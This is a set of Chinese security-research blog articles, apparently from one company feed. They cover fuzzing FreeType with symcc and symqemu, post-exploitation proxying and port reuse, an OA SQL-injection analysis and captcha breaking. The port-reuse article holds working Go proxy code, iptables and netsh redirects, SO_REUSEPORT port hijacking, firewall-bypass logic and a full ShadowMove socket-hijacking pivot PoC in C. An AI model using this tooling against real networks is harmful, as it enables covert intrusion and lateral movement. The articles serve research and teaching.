笔者在按照官方的文档进行编译后，使用了qsym后端，原因是该后端引擎会更迅速地进行约束求解，能够和afl++工具进行更好地适配。利用官方提供的测试程序进行分析，一切都运转正常。接下来需要将利用编译好的symcc编译器对我们需要Fuzzing的目标程序进行编译，此时只需要修改编译时的CC标志即可。对freetype以及修改后的ftbench程序均使用symcc编译器编译，成功生成最终目标文件。但是在利用该目标文件做测试时出现了问题。

symcc使用SYMCC_INPUT_FILE环境变量对输入文件进行符号化，在测试时需要手动设置环境变量，将其设置为ftbench的输入文件路径，还需要设置SYMCC_OUTPUT_DIR环境变量，用来保存新生成的测试样本，这里设置为/tmp/output。接着运行ftbench程序，此时屏幕应该输出约束求解信息并且会在/tmp/output目录生成新的测试用例，而实际测试结果是ftbench输出了对应的字体信息，似乎符号执行过程没有生效。

查看官方的声明发现如下：

原因是没有对libc中的函数做符号插桩，这样在执行特定libc函数时就没办法对输入数据进行符号化，因此就不会有符号执行过程，也就不会产生新的测试用例。

因此，如果要使symcc对真实目标程序生效，那么可能需要将所有包含libc的代码都采用symcc编译器进行编译，当程序所需的第三方库或其它依赖库较多时，工作量会非常大，这里暂且不做进一步探索。

笔者还尝试了symcc的兄弟工具symqemu。开发者在symcc的基础上利用qemu来对目标程序运行符号执行过程，这样可以省略编译源码的步骤，对闭源程序做符号执行分析，但在使用过程中还是遇到了问题，运行流程如下：

首先，我们对symqemu进行编译。编译时需要提供编译好的symcc的程序路径。成功后使用symqemu对/bin/cat程序进行测试，发现对未被插桩的/bin/cat应用能够正确执行符号化过程并输出新的测试用例；接着利用symqemu对前面编译好的ftbench进行测试，发现程序卡住，并且一段时间后oom导致应用崩溃。这里笔者猜测是由于程序添加了ASAN相关检测代码，导致symqemu运行时申请了大量内存导致崩溃。重新编译一个纯净版的ftbench程序，再次使用symqemu运行，发现这次程序能够正常运行并输出字体信息，但是没有生成新的测试样例。

经过详细分析发现，symqemu会在do_syscall1函数中，对由环境变量SYMCC_INPUT_FILE指定的输入文件进行符号化，但是目前仅支持通过read系统调用读取的文件进行符号化，如下图所示：

查看支持的符号化函数如下：

接着笔者查看了freetype2中函数FT_Open_Face函数是如何读取输入文件的，经过一番跟踪，最终发现通过mmap函数来读取输入文件：

那么symqemu并没有对mmap函数的调用进行符号化处理，也就无法正常运行符号执行过程，也就无法生成新的测试用例。目前就该问题已经向官方提出issue，希望官方能早日解决。

我们目前仅测试了这两款符号执行工具，但是效果都不理想，后续还会对其它类似工具做尝试，希望最终能找到一款在真实环境下也能运行良好并能辅助Fuzzing的符号执行工具。

结果分析

在经过一段时间的Fuzzing后，笔者利用MSAN编译的程序找到了一些crash，但经过仔细分析后发现这些crash都为误报，MSAN输出如下：

查看af_shaper_get_elem函数，内容如下：

MSAN将gcount视作一个未初始化的变量，但实际在第三方库函数hb_buffer_get_glyph_infos中，该变量已经初始化。由于并未对第三方库harfbuzz进行源码插桩，MSAN可能无法检测出gcount参数已被赋值，所以在561行对gcount的访问就会触发一个crash。

对于这种情况，笔者建议尽可能将所有使用的第三方库通过静态链接的方式打包到目标应用程序中，而不是通过调用动态库的方式去执行函数，否则由MSAN产生的crash可能大部分都是误报。

总结

经过实测，以上的优化措施确实提高了Fuzzing的代码覆盖率，但是依旧未能达到接近100%代码覆盖率的完美状态。这就需要程序员不断地去优化harness程序，找到更合适的样本，以尽可能提高Fuzzing速度。运行Fuzzing、查看Fuzzing状态、分析结果和优化Fuzzing程序，不断地循环这个正反馈过程，最终期望达到一个理想的状态，即尽可能多地探索程序路径使得程序不再出现异常，之后就可以去研究下一个目标了。

在Fuzzing过程中还会遇到一些痛点，如afl++会生成大量的无效文件，导致目标应用实际上并没有对输入文件进行深入解析，如此变异后生成的crash样本大部分都是由该原因而崩溃的。如何让afl++减少这种对无效路径的探索目前似乎还没有很好的解决方案。之前为了解决afl变异导致生成样本无效的问题时，笔者通过开发一个自定义的变异器来解决该问题，但是这同样需要对变异目标的结构有一定的了解。笔者的一个思路是找到程序在判断输入文件无效后异常退出的代码路径，并且禁止对这部分代码进行插桩，但由于真实软件的复杂性似乎很难做到并且效果未知。当然也可以使用如peach、FormatFuzzer这种工具配合afl++使用，保证变异后的样本是高度结构化的数据，能够通过软件对输入文件格式的校验，这也不失为一种针对文件格式Fuzzing的良好方案。

本次的Fuzzing实战就到这里，整体来说还存在一些不足。未来我们将采用更多的模糊测试工具来进行综合对比测试，并尝试借助AI的能力来解决Fuzzing过程中的痛点，比如用AI来编写harness等等，也期待着更多人的进一步探索。

往期回顾

代理端口复用在后渗透场景中的应用探究

某OA系统未授权SQL注入漏洞分析

‍基于半监督学习的文本验证码识别方法

阅读原文

跳转微信打开

在后渗透场景中，代理几乎是不可或缺的一部分，对于多层网络架构的复杂内网环境而言，多级代理，多协议代理，端口复用等代理功能显得更重要，本文将分几个部分逐步介绍。

在后渗透场景中，代理几乎是不可或缺的一部分，对于多层网络架构的复杂内网环境而言，多级代理、多协议代理、端口复用等代理功能便尤为重要，本文将分以下几个部分逐步介绍：

1.常见代理的方式
2.代理端口复用研究
3.基于已有服务的端口复用方式

常见代理方式

反向代理

反向代理（Reverse Proxy）指的是由目标服务器主动像客户端发起连接请求的代理模式，这种代理模式通常是攻防实战中完成边界突破后的代理方式的优选项，稳定性相对更佳。缺点是服务器需要具备出网能力，在流量侧会有主动外连的痕迹，如果使用的代理工具存在流量侧特征容易被态势感知等设备发现。列举几个反代工具：

1、frp
https://github.com/fatedier/frp.git
2、earthworm    
https://github.com/idlefire/ew.git
3、ngrok     
https://github.com/inconshreveable/ngrok.git
4、nps
https://github.com/ehang-io/nps
5、erfrp
https://github.com/Goqi/Erfrp

正向代理

正向代理（Forward Proxy）是指由客户端向代理服务器发起请求，并由代理服务器向目标转发的代理方式，这种代理模式是科学上网常用的代理方式。在攻防实战中，由于目标主机服务器通常在内网环境，服务由例如nginx等服务将服务端口代理映射出去，因此在服务上主动创建的代理监听服务很难通过公网访问到。通常做法是复用web服务，通过对应的开发语言写代理的服务，再通过正向代理实现连接，这种方式通常稳定性和速度相对较差，通常在服务器无法出网的情况下选择。列举两个webProxy：

1、reGeorg
https://github.com/sensepost/reGeorg.git
2、Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg

基于golang实现简单代理

正向代理

// 创建监听listener, err := net.Listen("tcp", "localhost:1080")if err != nil {    log.Fatal(err)}
//接收请求for {    conn, err := listener.Accept()    if err != nil {        log.Fatal(err)    }    go handleConnection(conn)}
//处理请求func handleConnection(conn net.Conn) {    defer conn.Close()
    // 握手    buf := make([]byte, 256)
    // 读取客户端的版本和方法    _, err := io.ReadFull(conn, buf[:2])    if err != nil {        return    }
    version := buf[0]    nmethods := buf[1]
    // 确保版本是5（SOCKS5）    if version != 5 {        return    }
    // 读取并丢弃方法    _, err = io.ReadFull(conn, buf[:nmethods])    if err != nil {        return    }
    // 发送响应    _, err = conn.Write([]byte{0x05, 0x00})    if err != nil {        return    }
    // 读取客户端的请求    _, err = io.ReadFull(conn, buf[:4])    if err != nil {        return    }
    // 处理请求    // ...
}

反向代理

func Server(listen *net.TCPListener, s5listen *net.TCPListener) {  for {    s5conn, err := s5listen.Accept()    if err != nil {      fmt.Println("接受客户端连接异常:", err.Error())      continue    }    fmt.Println("用户客户端连接来自:", s5conn.RemoteAddr().String())    defer s5conn.Close()
    conn, err := listen.Accept()    if err != nil {      fmt.Println("接受客户端连接异常:", err.Error())      continue    }    fmt.Println("客户端连接来自:", conn.RemoteAddr().String())    defer conn.Close()
    go handle(conn, s5conn)  }}
func handle(sconn net.Conn, dconn net.Conn) {  defer sconn.Close()  defer dconn.Close()  ExitChan := make(chan bool, 1)  go func(sconn net.Conn, dconn net.Conn, Exit chan bool) {    io.Copy(dconn, sconn)    ExitChan <- true  }(sconn, dconn, ExitChan)
  go func(sconn net.Conn, dconn net.Conn, Exit chan bool) {    io.Copy(sconn, dconn)    ExitChan <- true  }(sconn, dconn, ExitChan)  <-ExitChan  dconn.Close()}

端口复用

端口复用，也被称为端口共享，是指在同一台主机上，允许多个网络应用程序使用同一个网络端口的技术。这种技术可以有效地提高网络资源的利用率，避免端口资源的浪费。在网络安全场景下的端口复用主要目的是为了隐藏攻击痕迹和进行防火墙bypass。

重定向方式实现

使用场景通常为防火墙限制了访问端口。通过系统的流量转发功能实现，Linux下通过iptables实现流量转发。假设原本服务器开放了80端口，我们要将eth0网卡的80端口流量全部转发到本地代理监听端口8080。

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

再由监听的代理服务做流量分流处理，将带有代理特征的流量保留下来，目标流量发送回对应服务，保证原本服务正常进行。比如如果我们劫持转发的服务为web服务，而我们的代理协议使用的是socks5协议，我们可以通过协议头进行判断和过滤。

package main
import (  "io"  "log"  "net")
func main() {  // 开始监听8080端口  listener, err := net.Listen("tcp", ":8080")  if err != nil {    log.Fatal(err)  }  for {    // 接受一个客户端连接    client, err := listener.Accept()    if err != nil {      log.Fatal(err)    }    go handleClientRequest(client)  }}
func checkSocks5(r io.Reader) (bool, []byte, error) {  buf := make([]byte, 2)  // 读取前两个字节  _, err := io.ReadAtLeast(r, buf, 2)  if err != nil {    return false, nil, err  }
  // 检查版本号  return buf[0] == 0x05, buf, nil} 

func handleClientRequest(client net.Conn) {  defer client.Close()
  // 检查是否为SOCKS5  isSocks5, buf, err := checkSocks5(client)  if err != nil {    log.Println(err)    return  }  if !isSocks5 {    log.Println("Not a SOCKS5 connection")    return  }
  // 连接到本地的80端口  target, err := net.Dial("tcp", "localhost:80")  if err != nil {    log.Fatal(err)  }  defer target.Close()
  // 创建一个MultiReader，它首先读取已经读取的字节，然后再读取原始连接  clientReader := io.MultiReader(bytes.NewReader(buf), client)
  // 开始转发  go io.Copy(target, clientReader)  go io.Copy(client, target)}
//代理逻辑func proxyHandler(conn net.conn) {...}

对于windows而言，非系统服务，比如重定向 Windows 上的 Apache 的 8080 端口到 1080 端口，我们可以使用 IpNat 进行转发。

# 转发命令 netsh interface portproxy add v4tov4 listenport=源端口 listenaddress=源IP connectport=目标端口 connectaddress=目标IP
# 查看转发规则netsh interface portproxy show all
# 删除规则netsh interface portproxy delete v4tov4 listenport=源端口 listenaddress=源IP

对于系统服务，需要重启系统或加载驱动，并且需要自己编写 Ring3 的部分代码来通过驱动回调增加过滤的条件等。本文不展开讨论这种方式。比较流行的方式有基于 WFP 实现的 WIndiver 以及基于 NDIS 的 WinpkFilter，可以参考https://github.com/BarbaTunnelCoder/BarbaTunnel/wiki/Choosing-FilterDriver-(WinDivert-vs-WinpkFilter)

ShadowMove套接字劫持技术

ShadowMove是一种从non-cooperative进程中劫持Socket的技术，2020年发布于USENIX大《ShadowMove: A Stealthy Lateral Movement Strategy》,ShadowMove的基本思想是复用已建立的合法连接，从而在受感染的网络内横向移动。如上图所示，ShadowMove的工作分为三个主要步骤：首先，它复制合法客户端应用程序用来与服务器应用程序通信的套接字。其次，它使用复制的套接字在客户端和服务器之间的现有TCP会话中注入数据包。第三，服务器处理注入的数据包，并无意中保存和/或启动ShadowMove的新实例。通过以上步骤，攻击者会从客户端计算机秘密移动到服务器计算机。

具体实现步骤：

使用PROCESS_DUP_HANDLE权限打开所有者进程；
每一个句柄为0x24（文件）类型；
遍历句柄，找到\device\afd
getpeername() 获取远程IP和远程端口号；
调用WSADuplicateSocketW以获取特殊的WSAPROTOCOL_INFO结构；
创建重复的Socket；
使用这个Socket；

实现代理能力，需要跳板服务器我们可控一个合法进行外连我们的主机。假设三台主机A,B,C 其中A可以访问B的某些特定公开服务，B可以访问C。我们想在A上通过B访问C的服务，只需要通过B创建一个与C的目标的连接，并将两个socket通信数据进行io copy，则可以完成代理逻辑的实现。

引用ShadowMove套接字劫持技术，巧妙隐藏与C2的连接一文中的代码实现；

/* PoC of ShadowMove Pivot by Juan Manuel Fernández (@TheXC3LL) */

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"WS2_32")

/* Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp */
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectNameInformation 1
#define MSG_END_OF_TRANSMISSION "\x31\x41\x59\x26\x53\x58\x97\x93\x23\x84"
#define BUFSIZE 65536

typedef NTSTATUS (NTAPI * _NtQuerySystemInformation)(
  ULONG SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
  );
typedef NTSTATUS (NTAPI * _NtDuplicateObject)(
  HANDLE SourceProcessHandle,
  HANDLE SourceHandle,
  HANDLE TargetProcessHandle,
  PHANDLE TargetHandle,
  ACCESS_MASK DesiredAccess,
  ULONG Attributes,
  ULONG Options
  );
typedef NTSTATUS (NTAPI * _NtQueryObject)(
  HANDLE ObjectHandle,
  ULONG ObjectInformationClass,
  PVOID ObjectInformation,
  ULONG ObjectInformationLength,
  PULONG ReturnLength
  );

typedef struct _SYSTEM_HANDLE
{  ULONG ProcessId;
  BYTE ObjectTypeNumber;
  BYTE Flags;
  USHORT Handle;
  PVOID Object;
  ACCESS_MASK GrantedAccess;} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{  ULONG HandleCount;
  SYSTEM_HANDLE Handles[1];} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _UNICODE_STRING
{  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;} UNICODE_STRING, * PUNICODE_STRING;

typedef enum _POOL_TYPE
{  NonPagedPool,
  PagedPool,
  NonPagedPoolMustSucceed,
  DontUseThisType,
  NonPagedPoolCacheAligned,
  PagedPoolCacheAligned,
  NonPagedPoolCacheAlignedMustS} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_NAME_INFORMATION
{  UNICODE_STRING Name;} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

PVOID GetLibraryProcAddress( PSTR LibraryName, PSTR ProcName ){  return(GetProcAddress( GetModuleHandleA( LibraryName ), ProcName ) );}

SOCKET findTargetSocket( DWORD dwProcessId, LPSTR dstIP ){  HANDLE hProc;
  PSYSTEM_HANDLE_INFORMATION handleInfo;
  DWORD handleInfoSize = 0x10000;
  NTSTATUS status;
  DWORD returnLength;
  WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
  SOCKET targetSocket;

/* Open target process with PROCESS_DUP_HANDLE rights */
  hProc = OpenProcess( PROCESS_DUP_HANDLE, FALSE, dwProcessId );
  if ( !hProc )  {    printf( "[!] Error: could not open the process!\n" );
    exit( -1 );  }
  printf( "[+] Handle to process obtained!\n" );

/* Find the functions */
  _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetLibraryProcAddress( "ntdll.dll", "NtQuerySystemInformation" );
  _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject) GetLibraryProcAddress( "ntdll.dll", "NtDuplicateObject" );
  _NtQueryObject NtQueryObject = (_NtQueryObject) GetLibraryProcAddress( "ntdll.dll", "NtQueryObject" );

/* Retrieve handles from the target process */
  handleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc( handleInfoSize );
  while ( (status = NtQuerySystemInformation( SystemHandleInformation, handleInfo, handleInfoSize, NULL ) ) == STATUS_INFO_LENGTH_MISMATCH )
    handleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc( handleInfo, handleInfoSize *= 2 );

  printf( "[+] Found [%d] handlers in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId );

/* Iterate */
  for ( DWORD i = 0; i < handleInfo->HandleCount; i++ )  {/* Check if it is the desired type of handle */
    if ( handleInfo->Handles[i].ObjectTypeNumber == 0x24 )    {      SYSTEM_HANDLE handle = handleInfo->Handles[i];
      HANDLE dupHandle = NULL;
      POBJECT_NAME_INFORMATION objectNameInfo;

/* Dupplicate handle */
      NtDuplicateObject( hProc, (HANDLE) handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS );
      objectNameInfo = (POBJECT_NAME_INFORMATION) malloc( 0x1000 );

/* Get handle info */
      NtQueryObject( dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength );

/* Narrow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2) */
      if ( objectNameInfo->Name.Length == 22 )      {        printf( "[-] Testing %d of %d\n", i, handleInfo->HandleCount );

/* Check if it ends in "Afd" */
        LPWSTR needle = (LPWSTR) malloc( 8 );
        memcpy( needle, objectNameInfo->Name.Buffer + 8, 6 );
        if ( needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd' )        {/* We got a candidate */
          printf( "\t[*] \\Device\\Afd found at %d!\n", i );

/* Try to duplicate the socket */
          status = WSADuplicateSocketW( (SOCKET) dupHandle, GetCurrentProcessId(), &wsaProtocolInfo );
          if ( status != 0 )          {            printf( "\t\t[X] Error duplicating socket!\n" );
            free( needle );
            free( objectNameInfo );
            CloseHandle( dupHandle );
            continue;          }

/* We got it? */
          targetSocket = WSASocket( wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED );
          if ( targetSocket != INVALID_SOCKET )          {            struct sockaddr_in sockaddr;
            DWORD len;
            len = sizeof(SOCKADDR_IN);

/* It this the socket? */
            if ( getpeername( targetSocket, (SOCKADDR *) &sockaddr, &len ) == 0 )            {              if ( strcmp( inet_ntoa( sockaddr.sin_addr ), dstIP ) == 0 )              {                printf( "\t[*] Duplicated socket (%s)\n", inet_ntoa( sockaddr.sin_addr ) );
                free( needle );
                free( objectNameInfo );
                return(targetSocket);              }            }          }

          free( needle );        }      }
      free( objectNameInfo );    }  }

  return(0);}

/* Reused from MSSQLPROXY https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp */
void bridge( SOCKET fd0, SOCKET fd1 ){  int maxfd, ret;
  fd_set rd_set;
  size_t nread;
  char buffer_r[BUFSIZE];
  maxfd = (fd0 > fd1) ? fd0 : fd1;
  while ( 1 )  {    FD_ZERO( &rd_set );
    FD_SET( fd0, &rd_set );
    FD_SET( fd1, &rd_set );
    ret = select( maxfd + 1, &rd_set, NULL, NULL, NULL );
    if ( ret < 0 && errno == EINTR )    {      continue;    }
    if ( FD_ISSET( fd0, &rd_set ) )    {      nread = recv( fd0, buffer_r, BUFSIZE, 0 );
      if ( nread <= 0 )
        break;
      send( fd1, buffer_r, nread, 0 );    }
    if ( FD_ISSET( fd1, &rd_set ) )    {      nread = recv( fd1, buffer_r, BUFSIZE, 0 );

      if ( nread <= 0 )
        break;

/* End of transmission */
      if ( nread >= strlen( MSG_END_OF_TRANSMISSION ) && strstr( buffer_r, MSG_END_OF_TRANSMISSION ) != NULL )      {        send( fd0, buffer_r, nread - strlen( MSG_END_OF_TRANSMISSION ), 0 );
        break;      }

      send( fd0, buffer_r, nread, 0 );    }  }}

int main( int argc, char** argv ){  WORD wVersionRequested;
  WSADATA wsaData;
  DWORD dwProcessIdSrc;
  WORD dwProcessIdDst;
  LPSTR dstIP = NULL;
  LPSTR srcIP = NULL;
  SOCKET srcSocket;
  SOCKET dstSocket;

  printf( "\t\t\t-=[ ShadowMove Pivot PoC ]=-\n\n" );

/* smpivot.exe [PID src] [PID dst] [IP dst] [IP src] */
/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
  if ( argc != 5 )  {    printf( "[!] Error: syntax is %s [PID src] [PID dst] [IP src] [IP dst]\n", argv[0] );
    exit( -1 );  }
  dwProcessIdSrc = strtoul( argv[1], NULL, 10 );
  dwProcessIdDst = strtoul( argv[2], NULL, 10 );

  dstIP = (LPSTR) malloc( strlen( argv[4] ) * (char) +1 );
  memcpy( dstIP, argv[3], strlen( dstIP ) );
  srcIP = (LPSTR) malloc( strlen( argv[3] ) * (char) +1 );
  memcpy( srcIP, argv[4], strlen( srcIP ) );

/* Classic */
  wVersionRequested = MAKEWORD( 2, 2 );
  WSAStartup( wVersionRequested, &wsaData );

  srcSocket = findTargetSocket( dwProcessIdSrc, srcIP );

  dstSocket = findTargetSocket( dwProcessIdDst, dstIP );
  if ( srcSocket == 0 )  {    printf( "\n[!] Error: could not attach to source socket" );
    return(-1);  }
  printf( "\n[<] Attached to SOURCE\n" );
  if ( dstSocket == 0 )  {    printf( "\n[!] Error: could not attach to sink socket" );
    return(-1);  }
  printf( "[>] Attached to SINK\n" );
  printf( "============================\n[Link up]\n============================\n" );
  bridge( srcSocket, dstSocket );
  printf( "============================\n[Link down]\n============================\n" );
  return(0);}

当然上述的使用仅能针对一个服务实现定向转发，我们也可以使用反代逻辑在接收到来自A的请求后解析目标请求的地址再构建socket连接并发送请求到目标主机。

可能遇到的问题

当我们使用ShadowMove套接字劫持技术实现端口复用时，也面临一些问题：

1、socket数据存在同时被原始进程和代理进程消费的情况，一旦数据被原始进程消费后，代理进程将无法读到数据导致数据丢失。此时需要自定义数据完整性的验证逻辑。

2、socket被关闭导致超时，需要检测socket的状态。

linux kernel >= 3.9 的REUSEPORT特性利用

在linux和windows中一个端口一旦被bind，那么另一个端口再去尝试bind时会报错already in use。在一定条件下也可以实现端口复用，实际在3.9版本之前，linux通过SO_REUSEADDR实现了处于TIME_WAIT状态的socket的端口实现复用绑定，但是实际生效也需要在当前socket完全释放后。

在内核版本3.9以上，引入了SO_REUSEPORT特性，该特性允许配置了SO_REUSEPORT的进程监听同一端口，但要求第一个监听该端口的进程必须进行相应配置，否则后续监听仍将失败。

当我们找到满足上述要求的合法进程后，面临有多个进程都 bind 和 listen 了同一个端口的时候。有客户端连接请求到来的时候就涉及到选择哪个 socket(进程)进行处理的问题。我们再简单看一下，响应连接时的处理过程。

查找 listen 状态的 socket 的时候需要查找该哈希表。我们进入响应握手请求的时候进入的一个关键函数 __inet_lookup_listener 来看。

//file: net/ipv4/inet_hashtables.cstruct sock *__inet_lookup_listener(struct net *net,        struct inet_hashinfo *hashinfo,        const __be32 saddr, __be16 sport,        const __be32 daddr, const unsigned short hnum,        const int dif){ //所有 listen socket 都在这个 listening_hash 中 struct inet_listen_hashbucket *ilb = &hashinfo->listening_hash[hash];
begin: result = NULL; hiscore = 0; sk_nulls_for_each_rcu(sk, node, &ilb->head) {  score = compute_score(sk, net, hnum, daddr, dif);  if (score > hiscore) {   result = sk;   hiscore = score;   reuseport = sk->sk_reuseport;   if (reuseport) {    phash = inet_ehashfn(net, daddr, hnum,           saddr, sport);    matches = 1;   }  } else if (score == hiscore && reuseport) {   matches++;   if (((u64)phash * matches) >> 32 == 0)    result = sk;   phash = next_pseudo_random32(phash);  } } ... return result;}

其中 sk_nulls_for_each_rcu 是在遍历所有 hash 值相同的 listen 状态的 socket。注意看 compute_score 这个函数，这里是计算匹配分。当有多个 socket 都命中的时候，匹配分高的优先命中。我们来看一下这个函数里的一个细节。

//file: net/ipv4/inet_hashtables.cstatic inline int compute_score(struct sock *sk, ...){ int score = -1; struct inet_sock *inet = inet_sk(sk);
 if (net_eq(sock_net(sk), net) && inet->inet_num == hnum &&   !ipv6_only_sock(sk)) {  //如果服务绑定的是 0.0.0.0，那么 rcv_saddr 为假  __be32 rcv_saddr = inet->inet_rcv_saddr;  score = sk->sk_family == PF_INET ? 2 : 1;  if (rcv_saddr) {   if (rcv_saddr != daddr)    return -1;   score += 4;  }  ...  } return score;}

demo如下：

A 进程：./test-server 10.0.0.2 6000
B 进程：./test-server 0.0.0.0 6000
C 进程：./test-server 127.0.0.1 6000

此时A、C进程的绑定方式为4分，B为2分，因此当目标主动访问10.0.0.2网卡时，将由进程A消费。假设主机还有一个192.0.0.2的网卡地址，当访问这个地址时，A C均不得分，B得2分，此时没有更高分数的情况下将由B完成消费。

那么假如存在如下情况：

A 进程：./test-server 10.0.0.2 6000
B 进程：./test-server 0.0.0.0 6000
C 进程：./test-server 10.0.0.2 6000

此时A C均绑定的10.0.0.2网卡，当有请求访问时，就由内核以随机的方式进行负载均衡随机分配到A C进程中了。

当我们使用两个不同权限用户绑定相同端口时，则会绑定失败。因此上述方法对权限有要求。

总结一下，如果想完美使用SO_REUSEPORT特性实施端口复用，需要找到一个开启了SO_REUSEPORT配置的合法进程，且该进程监听0.0.0.0，并且处于同一用户权限下。

MAC系统

  在macOS中，默认允许多个进程可以绑定到相同的端口，而无需特殊配置，当有传入连接到达时，操作系统会根据某种负载均衡算法将连接分发给其中一个进程。因此可以跳过SO_REUSEPORT配置，快进到调度优先级配置部分。例如两个进程A、B，同时监听8888端口，其中A绑定10.10.1.2,B绑定0.0.0.0，将优先调度A的socket进行通信。

复用端口构造代理

复用合法应用的端口我们需通过netstat查找绑定在0.0.0.0的端口服务，然后启用代理，做流量分析，符合代理特征的流量我们留下解析，属于源端口的流量我们转发到源端口，实现方式跟通过iptables同理。

// 端口监听相关代码片段
listener, err := net.Listen("tcp", ":8080")if err != nil {    panic(err)}
// 获取原始的网络文件描述符file, err := listener.(*net.TCPListener).File()if err != nil {    panic(err)}fd := int(file.Fd())
// 设置 SO_REUSEPORTerr = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_REUSEPORT, 1)

基于协议限制的防火墙策略绕过

上文主要对基于端口限制的代理端口复用方式进行分析，还有一种场景是基于协议限制的策略，这种场景下假设我们可以通过某种方式访问到代理端口，此时我们的代理需要在监听接收到的连接请求进行协议分析，根据不同协议调用不同的handler处理逻辑，实现绕过（针对TCP/IP层以上的通信协议）。

package mainfunc server() {  // 开始监听8080端口  listener, err := net.Listen("tcp", ":8080")  if err != nil {    log.Fatal(err)  }  for {    // 接受一个客户端连接    client, err := listener.Accept()    if err != nil {      log.Fatal(err)    }    go handleClientRequest(client)  }}
func isSocks5(conn net.Conn) (bool, error) {    buf := make([]byte, 2)
    // 读取前两个字节    _, err := io.ReadFull(conn, buf)    if err != nil {        return false, err    }
    // 检查版本号和方法数量    return buf[0] == 0x05, nil}

func handleClientRequest(client net.Conn) {  defer client.Close()
  // 检查是否为SOCKS5  isSocks5, buf, err := checkSocks5(client)  if err != nil {    log.Println(err)    return  }  r, w := net.Pipe()  // 创建一个新的 goroutine，将 clientReader 的数据写入 Pipe  go func() {    _, err := io.Copy(w, clientReader)    if err != nil {      logger.Logger.Infof("Error copying clientReader to Pipe:", err)      // 处理错误    }  }()  go func() {    _, err := io.Copy(conn, w)    if err != nil {      logger.Logger.Infof("Error copying clientReader to Pipe:", err)      // 处理错误    }  }()    // 创建一个MultiReader，它首先读取已经读取的字节，然后再读取原始连接  clientReader := io.MultiReader(bytes.NewReader(buf), client)
  if !isSocks5 {    log.Println("Not a SOCKS5 connection")    go httpHandler(r, ctx)  }
    go socks5Handler(r, ctx)}
// socks5代理func socks5Handler(conn net.conn, ctx) {...}
// http代理func httpHandler(conn net.conn, ctx) {...}

此时我们就完成了在同一个代理进程中使用不同代理协议的端口复用实现。

参考链接

· https://www.freebuf.com/articles/web/261429.html

· https://saucer-man.com/operation_and_maintenance/586.html

· https://idiotc4t.com/defense-evasion/shadowmove-emersion-and-think

· https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf

往期回顾

某OA系统未授权SQL注入漏洞分析

基于半监督学习的文本验证码识别方法

Realtek Sdk CVE-2021-35392漏洞分析

阅读原文

跳转微信打开

墨云安全研究员在今年2月份发现某OA未授权SQL注入漏洞，厂商于04月18日已发布漏洞补丁，本文将针对该漏洞进行分析与验证。

墨云安全研究员在今年2月份发现某OA未授权SQL注入漏洞，厂商于04月18日已发布漏洞补丁，本文将针对该漏洞进行分析与验证。

某OA的CheckServer.jsp文件默认是可以未授权访问的，CheckServer.jsp文件没有对用户输入的settings参数数据进行充分的验证和过滤，导致攻击者可以通过构造恶意的 SQL 语句来绕过应用程序的安全措施，从而对数据库进行非法操作。

漏洞分析

首先进入到CheckServer.jsp文件里面看下整个漏洞的调用过程。

当type的值是mobileSetting的时候会进入到PluginServiceImpl.syncMobileSetting方法里。

在syncMobileSetting方法里首先会对settings参数转成json数组，然后会调用当前类的saveMobileDocSetting方法。

在saveMobileDocSetting方法里对setting参数做了一次URL解码操作，然后把值拼接到sql语句当中，由此产生了SQL注入漏洞。

漏洞验证图

修复建议

1.2023-04-18 厂商已提供漏洞修补方案，请访问厂商官网按照升级说明升级系统的补丁。

2.加入厂商提供的安全保障，厂商会自动检测您系统的安全状况，如果发现系统有漏洞，会及时报告并修复漏洞，保障系统处于安全的状态。

往期回顾

基于半监督学习的文本验证码识别方法

Realtek Sdk CVE-2021-35392漏洞分析

VMware vRealize Log HTTP服务两个漏洞分析

阅读原文

跳转微信打开

提高验证码识别技术不仅可以自动地检测网站安全性，也可以从侧面改进安全策略，推动网络安全技术的进步。

如今，基于文本的验证码依然是各大网站使用最广泛的安全机制。它通过要求用户在输入框输入随机生成的文本字符串来验证用户身份，从而防止恶意注册、暴力破解以及垃圾邮件等恶意事件发生，帮助网站保护用户数据和网络安全。提高验证码识别技术不仅可以自动地检测网站安全性，也可以从侧面改进安全策略，推动网络安全技术的进步。

笔者给大家推荐一篇利用半监督学习来识别验证码的论文—3E-Solver: An Effortless, Easy-to-Update, and End-to-End Solver with Semi-Supervised Learning for Breaking Text-Based Captchas.

背景

早期基于图像分割的识别方法无法有效处理引入遮挡线条与重叠字符的验证码，同时也会受到字符颜色跟背景差异不统一的影响。近些年，基于深度学习识别验证码的方法虽然效果尚可，但需要精巧的模型设计与大量人工标记的数据集。因此，该论文提出了一种基于FixMatch的半监督模型识别验证码的方法，利用Encoder-Decoder与Attention机制构建端到端的基线模型识别验证码图片。

